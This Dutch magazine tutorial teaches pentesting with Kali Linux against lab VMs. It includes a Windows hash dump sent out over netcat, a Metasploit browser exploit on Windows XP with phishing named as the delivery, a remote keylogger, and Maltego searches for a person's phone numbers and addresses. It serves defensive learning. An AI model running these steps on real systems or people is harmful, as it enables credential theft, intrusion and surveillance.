Zo blijf je hackers een stap voor met Kali Linux

© PXimport

Zo blijf je hackers een stap voor met Kali Linux

Geplaatst: 1 september 2019 - 10:25

Aangepast: 16 november 2022 - 09:26

Toon van Daele

Je hebt een (thuis)netwerk en wilt hackers een stap voor blijven. Zelf in de huid van een hacker kruipen en je eigen netwerk, systemen en servers aanvallen is een uitstekende manier om kwetsbaarheden bloot te leggen, zodat je gerichte maatregelen kunt nemen. Deze vorm van ethisch hacken noemen we pentesting. In dit artikel gaan we aan de slag met enkele knappe tools, waaronder Kali Linux.

Pentesting, kort voor penetration testing, wordt wel vaker verward met een kwetsbaarheidsscan (vulnerability scan). Maar terwijl zo’n kwetsbaarheidsscan it-systemen via een geautomatiseerde procedure op zwakheden controleert en zich dus tot bekende beveiligingsfouten beperkt, gaat een pentester doorgaans verder. Met behulp van allerlei tools en creatieve aanvalstechnieken zoekt die geautomatiseerd en handmatig naar een zo breed mogelijke waaier aan kwetsbaarheden.

In dit artikel gaan we zelf met pentesting aan de slag. Daartoe maken we gebruik van Kali Linux. Deze distro bevat honderden pentesting-applicaties voor onder meer inventarisatie en enumeratie, sniffing en spoofing, wifi-aanvallen, kwetsbaarheidsanalyses, social engineering en het kraken van wachtwoorden. In deze masterclass moeten we ons noodzakelijkerwijs tot een handvol tools beperken.

Kali Linux is voor diverse platformen beschikbaar en laat zich zowel bare metal, dual boot, op een live medium als virtueel installeren. Wij kiezen voor de laatste methode en maken daarvoor gebruik van Oracle VM VirtualBox.

01 Kali-installatie

Download en installeer alvast VirtualBox. Start de tool op en kies Bestand / Voorkeuren / Netwerk. Druk op de knop Voeg NAT-netwerk toe en dubbelklik op het toegevoegde item. Eventueel pas je Netwerknaam en Netwerk CIDR (10.0.2.0/24) aan, maar zorg wel dat Inschakelen netwerk is aangevinkt. Bevestig met OK (2x).

Dan is het nu tijd om Kali Linux te virtualiseren. Ga naar de site van Kali Linux, open het tabblad Kali Linux VirtualBox Images en haal Kali Linux Vbox 64 bit Ova op. Die installeer je als volgt in VirtualBox: kies Bestand / Appliance importeren, verwijs naar je download en klik op Volgende. Dubbelklik eventueel op de naam als je die wilt wijzigen en start de operatie met Importeren. Na afloop start je de virtuele machine op. Je meldt je aan met root (gebruikersnaam), toor (wachtwoord). Even later duikt de Kali-desktop op: in het Applications-menu tref je al talrijke pentesting-tools aan. Mocht Kali niet willen opstarten, klik dan met rechts op je Kali-machine en kies Instellingen / USB: ga na of de optie USB 1.1 (OHCI) Controller wel is geselecteerd. Nu hoort het wél te lukken.

01 We zorgen ervoor dat alle systemen met elkaar zijn verbonden en via NAT het internet op kunnen.

© PXimport

02 Kali-update

Je hebt dan wel een NAT-netwerk toegevoegd, maar je moet er ook voor zorgen dat Kali en naderhand ook de targets ditzelfde netwerk gebruiken. Zorg dat Kali is afgesloten en rechtsklik op het Kali-pictogram in de beheermodule van VirtualBox. Kies Instellingen / Netwerk en kies bij Gekoppeld aan de optie NAT-netwerk. In het uitklapmenu bij Naam vind je het betreffende netwerk terug. Je mag nu Kali (weer) opstarten, waarna we de distro eerst gaan updaten. Start de desktop op en klik op het icoon Terminal, waarna je de volgende opdracht uitvoert:

apt-get clean && apt-get update && apt-get upgrade -y && apt-get dist-upgrade -y

Hiermee start je een langdurige procedure die heel af en toe om een bevestiging vraagt en die je maar beter niet onderbreekt.

02 Kali heeft wel wat werk om zichzelf te updaten.

© PXimport

03 Target-installaties

Het lijkt ons niet zo veilig om onze pentesting-experimenten meteen maar in een productie-omgeving uit te voeren. Liever gebruiken we enkele eveneens gevirtualiseerde targets. Een voor de hand liggend slachtoffer is alvast Metasploitable, een Ubuntu-distributie die opzettelijk van talrijke kwetsbaarheden is voorzien, precies met het oog op pentesting. Je downloadt die op Sourceforge. Pak het zip-bestand uit, start VirtualBox, klik op Nieuw, vul bij Type Linux en bij Versie Ubuntu (64-bit) in. 1 GB ram-geheugen kan volstaan. Selecteer Gebruik een bestaand virtuele harde schijf bestand en verwijs naar het uitgepakte vmdk-bestand. Bevestig met Aanmaken. Start het systeem op en log in met msfadmin, zowel voor de gebruikersnaam als het wachtwoord, en controleer of je wel met de juiste toetsenbordindeling werkt.

Laten we ook een paar (oudere) Windows-versies installeren. Voor Windows 7 en 10 kun je voor ova-appliances op de site van Microsoft terecht (bij Select platform kies je VirtualBox). Windows XP (SP3) kun je nog vinden op www.softlay.net, waar je Windows / Windows XP ISO selecteert. Omdat we deze targets zoveel mogelijk onbeschermd willen laten, kun je de automatische updatefunctie van Windows het best uitschakelen.

03 Enkele gewillige slachtoffers staan al klaar: Metasploitable en Windows XP Professional.

© PXimport

Extern

04 Snelle scan

Zoals gezegd bevat Kali vele tientallen pentesting-tools, verdeeld in uiteenlopende rubrieken als Vulnerability Analysis, Web Application Analysis, Password Attacks, Exploitation Tools en Information Gathering. We beginnen ons experiment met de laatste: een van de eerste stappen die ook een hacker zal zetten.

We starten met een eenvoudige opdrachtregeltool: dmitry. Die vind je via Applications / Information Gathering / dmitry. In zijn eenvoudigste vorm hoef je slechts een domeinnaam op te geven (bijvoorbeeld dmitry computertotaal.nl). Dat levert al heel wat informatie op, waaronder ip-adres, nameservers, subdomeinen, registrar, enz. Het wordt al wat spannender als je je Metasploitable-installatie analyseert. Uiteraard moet dat systeem dan wel actief zijn: via het commando ifconfig kom je het ip-adres van je Metasploitable (eth0) te weten, waarna je vanuit Kali deze opdracht kunt uitvoeren:

dmitry <ip-adres-metasploitable> -pb

De parameter -pb zorgt voor een poortscan, inclusief de banners van de gebruikte software.

04 Metasploitable blijkt aardig wat poorten (met verouderde services) open te hebben …

© PXimport

05 Transformatieconcept

Een informatietool van een geheel andere orde is (de gratis community edition van) Maltego. Die maakt handig gebruik van publiek beschikbare bronnen om allerlei informatie over organisaties of personen op te vissen. Je dient je wel eerst bij Maltego te registreren. Daarna ga je naar Applications / Information gathering / Maltego en klik je bij Matego CE (Free) op Run. Meld je bij de dienst aan en bevestig met Next (3x) en met Finish.

In het Transform Hub-venster tref je een reeks zogenoemde transforms aan: dat zijn processen die publieke data over het beoogde doelwit kunnen opvragen en deze data vervolgens naar een overzichtelijke informatiestructuur transformeren. De transform PATERVA CTAS CE is standaard al geïnstalleerd. Er zijn nog heel wat andere transforms die je kunt installeren, zoals Kaspersky Lab, VirusTotal Public API, Have I Been Pwned? enzovoort. De meeste vergen wel een token of API-sleutel, aan te vragen bij de respectieve producenten.

05 Maltego berust op het concept van ‘transforms’: publieke data naar gestructureerde informatie omzetten.

© PXimport

06 Transformatiegrafieken

Aan de slag nu. Klik linksboven op het plusknopje Create a new graph: in het linkerpaneel verschijnt een reeks functies, zoals Infrastructure, Penetration Testing, Malware, Personal enzovoort. We beperken ons hier tot twee voorbeelden.

Zo vind je in de rubriek Infrastructure de Domain-functie terug: sleep die naar het nog lege canvas, dubbelklik hierop en vul de domeinnaam in die je wilt onderzoeken. Rechtsklik vervolgens op dit item en kies (bijvoorbeeld) DNS from Domain / Run All om de bijbehorende transforms uit te voeren. Het resultaat is een (ook grafisch) overzicht van zowat alle sites en servers die met dit domein te maken hebben. Rechtsklik op een subitem voor nog meer gedetailleerde informatie.

Ook over personen kun je informatie opvragen. Open de rubriek Personal en sleep Person naar het canvas. Dubbelklik om hier zelf een persoonsnaam in te kunnen tikken en laat er desgewenst alle transforms op los. Voor Twitter moet je wel eerst nog je toestemming verlenen. Vervolgens druk je op de knop Run!; je hoeft hier niet per se specifieke domeinen in te vullen. Als het goed is duiken even later telefoonnummers, adressen, websites enzovoort op die met die persoon verband houden. Ook hier kun je rechtsklikken op subitems om nog dieper te kunnen graven naar bruikbare informatie.

06 Maltego werkt snel en verwerkt alle informatie in een overzichtelijke grafiek.

© PXimport

07 Nikto: snelle scan

Niet alleen informatierondes, maar ook kwetsbaarheidsanalyses vormen een essentieel onderdeel van het takenpakket van een pentester. Ook op dit vlak stelt Kali allesbehalve teleur. We beperken ons in deze masterclass noodgedwongen tot twee tools uit dit arsenaal.

De eerste is Nikto, waarmee je verschillende webservers zoals de populaire Apache en Nginx op zo’n 7000 kwetsbaarheiden kunt scannen.

De Metasploitable-installatie vormt alvast een uitstekend doelwit voor Nikto. Start het systeem op in VirtualBox en ga via ifconfig na wat het interne ip-adres is. Vervolgens start je Nikto op via Applications / Vulnerability Analysis / nikto en voer je dit opdrachtregelcommando uit:

nikto -h <ip-adres-metasploitable>

Het resultaat volgt vrijwel onmiddellijk: in Metasploitable blijkt standaard een (verouderde) Apache-server actief (Apache/2.2.8 (Ubuntu)) en Nikto somt dan ook maar meteen een aantal mogelijke exploits op, zoals “The anti-clickjacking X-Frame-Options header is not present” en “The X-XSS-Protection header is not defined”. Even googelen brengt je al een heel eind op weg om zulke kwetsbaarheden te exploiteren of op te lossen. Je kunt hiervoor onder meer terecht op deze website.

07 De Apache-server van Metasploitable blijkt zo lek als een zeef.

© PXimport

08 OpenVAS installeren

Een andere kwetsbaarheidsscanner is OpenVAS oftewel Opensource Vulnerability Assessment System. Jammer genoeg is deze tool standaard niet in Kali geïnstalleerd, maar dat breng je snel in orde met het opdrachtregelcommando:

apt-get update && apt-get install -y openvas

Zodra deze operatie achter de rug is, voer je het commando openvas-setup uit. Deze setup kan een hele poos duren, want er worden enkele tienduizenden kwetsbaarheidstests gedownload, ook wel nvt’s of network vulnerability tests genoemd.

Aan het einde van de rit geeft OpenVAS je een uiterst complex wachtwoord, maar dat laat zich gelukkig aanpassen met het commando:

openvasmd --user=admin --new-password=<nieuw_wachtwoord>

Vervolgens voer je ook het commando greenbone-nvt-sync uit, zodat de lokale nvt’s via een feedservice up-to-date worden gehouden.

Met openvas-start zet je OpenVAS in gang. De standaardbrowser Firefox ESR verbind je met de webinterface van OpenVAS (https://127.0.0.1:9392). De browser klaagt weliswaar over een onveilige verbinding, maar dat stuur je bij via Advanced / Add Exception / Confirm Security Exception. Normaliter hoor je je nu wel te kunnen aanmelden met admin en het zojuist aangepaste wachtwoord.

08 OpenVAS is aan een (langdurige) scan van de metasploitable-machine begonnen.

© PXimport

09 OpenVAS uitvoeren

Vanuit het OpenVAS-dashboard kun je meteen een scan uit laten voeren, en waarom niet op onze Metasploitable-machine?

Open het menu Scans / Tasks, klik linksboven op het toverstokpictogram en kies Task Wizard, waarna je het ip-adres van je Metasploitable-systeem invult. Je begint het scanproces met Start scan. Het controleren van enkele tienduizenden potentiële kwetsbaarheden blijkt een werk van lange adem. Standaard ververst je browser elke 30 seconden het beeld (zie rechtsboven: Refresh every 30 Sec.). Duikt een foutmelding op, dan krijg je de scan met Ctrl+R wel weer op de rails.

Na afloop van de scanronde klik je het cijfer in de kolom Reports aan: je verneemt nu hoeveel kwetsbaarheden er zijn aangetroffen en hoe ernstig die ingeschat worden.

Op ons Metasploitable-toestel bleek het te gaan om 56 kwetsbaarheden, waarvan 3 Low, 36 Medium en 17 High. Voor een uitvoerig rapport klik je op de datum in de Date-kolom. Elke kwetsbaarheid wordt dan omschreven en je krijgt het getroffen poortnummer (Location) en een QoD-indicatie (Quality of Detection) te zien om de betrouwbaarheid van de detectie aan te geven. Nuttig is ook de kolom Solution type, met indicaties als VendorFix, Workaround, Mitigation (inperking) of in het slechtste geval WillNotFix. Je hoeft zo’n kwetsbaarheid maar aan te klikken om uitgebreide feedback te krijgen. Zo’n rapport laat zich trouwens ook naar diverse formaten exporteren, waaronder csv, html en pdf.

09 Alle kwetsbaarheden worden opgesomd en kun je op diverse criteria sorteren.

© PXimport

10 Wachtwoordgeneratoren

Het zal je weinig verbazen dat pentesters niet vies zijn van een potje wachtwoordkraken. Dat kan met ‘brute force’ (alle mogelijke combinaties uitproberen), op basis van een woordenboek (met potentiële wachtwoorden) of met behulp van ‘rainbow tables’ (lijsten met mogelijke hashes – dat is de vorm waarin wachtwoorden vaak door een systeem worden bewaard – in combinatie met de bijbehorende wachtwoorden).

In de rubriek Password Attacks vind je alvast een heel arsenaal. Zo tref je in de subrubriek Password Profiling & Wordlists bijvoorbeeld de wachtwoordgenerator Cewl aan. Die vist automatisch potentiële wachtwoorden op uit een website, evenals gebruikersnamen uit e-mailadressen: die komen van pas bij social engineering. Dat testen we opnieuw even uit op de Metasploitable-machine met een opdrachtregelcommando als:

cewl <ip-adres-metasploitable> -w cewlwoorden.txt -d 4

Hiermee extraheer je alle kandidaat-wachtwoorden tot vier linkniveaus diep, waarna die automatisch in het tekstbestand cewlwoorden.txt worden opgeslagen. Dit proces is behoorlijk arbeidsintensief, maar het laat zich altijd nog onderbreken met Ctrl+C. Je kunt het resultaat vervolgens bekijken met een opdracht als nano cewlwoorden.txt.

10 Cewl vist automatisch alle kandidaat-wachtwoorden op en verzamelt ze in een tekstbestand.

© PXimport

11 Wachtwoorden kraken

De populaire wachtwoordkraker John The Ripper, die zelfs overweg kan met Windows-hashes, ontbreekt evenmin in Kali. We tonen even hoe je via een remote sessie de accountwachtwoorden achterhaalt op je Windows XP-systeem. We gaan wel uit van het scenario waarbij je als aanvaller via een exploit intussen al shell-access hebt tot die machine – dit scenario komt trouwens verder in deze masterclass nog aan bod. Door middel van deze shell-access heb je intussen ook al twee portable programma’s op de XP-machine gezet: Netcat en Windows Credentials Editor. Dit laatste voer je (zo nodig remote) uit met het commando wce -l -o windowshashes.txt: dit commando zorgt ervoor dat de Windows-hashes in het tekstbestand windowshashes.txt terechtkomen.

De bedoeling is nu dat we dit tekstbestand via een netcat-sessie overbrengen naar de Kali-machine. Open daartoe een nieuw Terminal-venster in Kali en start een luistersessie op bijvoorbeeld poort 1111 met nc -l -p 1111 >windowshashes.txt. Op de Windows XP-machine voer je deze opdracht uit:

nc -w 3 <ip-adres-Kali-machine> 1111 <windowshashes.txt

En dan nu over naar de gui-interface van John the Ripper: ga naar Applications / Password attacks / Johnny. Hier klik je op Open password file, kies je (PASSWD format) en haal je windowshashes.txt in de rootmap op.

11 We halen het bestand met de hashes op via een remote nc-sessie … en voeren dat aan Johnny.

© PXimport

Arsenaal

&nbsp;

© PXimport

12 Windows-exploitatie

Kali beschikt ook over krachtig gereedschap om remote root access te verkrijgen, waaronder het Metasploit-framework en de bijbehorende gui Armitage. We tonen je hoe je zoiets voor elkaar krijgt op de Windows XP-machine.

Open Applications / Exploitation tools / armitage en klik op Connect en op Yes om verbinding te maken met het Metasploit-framework. Armitage start op en we willen hier

een exploit selecteren waarvan we weten dat die via een (verouderde) browser op een XP-toestel kan worden uitgevoerd. Klik op exploit / windows / browser en dubbelklik op ms14_064_ole_code_execution. Bevestig met Launch.

Onderaan lees je het Local IP af. Je moet de gebruiker van de XP-machine zover krijgen dat die dat adres in zijn browser intikt. In werkelijkheid gebeurt zoiets wellicht via phishing, maar hier tikken we het gewoon zelf in de XP-browser in. Ogenschijnlijk gebeurt er niets, maar terug bij je Kali-machine zie je dat de gecompromitteerde XP-machine al is toegevoegd. Rechtsklik op de bijbehorende miniatuurweergave en kies Meterpreter 1 / Interact / Meterpreter Shell. Onderaan verschijnt nu de prompt meterpreter >. Het commando help geeft je meer uitleg. Je kunt van hieruit nu allerlei commando’s op je XP-machine uitvoeren, zoals cd\, ls, ps enzovoort.

Ga ook even na wat er gebeurt als je Meterpreter 1 / Explorer / Log Keystrokes opstart: wanneer je op Launch klikt, lanceer je een keylogger op de XP-machine die alle toetsaanslagen opslaat in het vermelde txt-bestand. We zeiden het al: met roottoegang wordt zowat alles mogelijk!

12 Armitage maakt handig gebruik van de talrijke exploits uit Metasploit.

© PXimport

Deel dit artikel
Voeg toe aan favorieten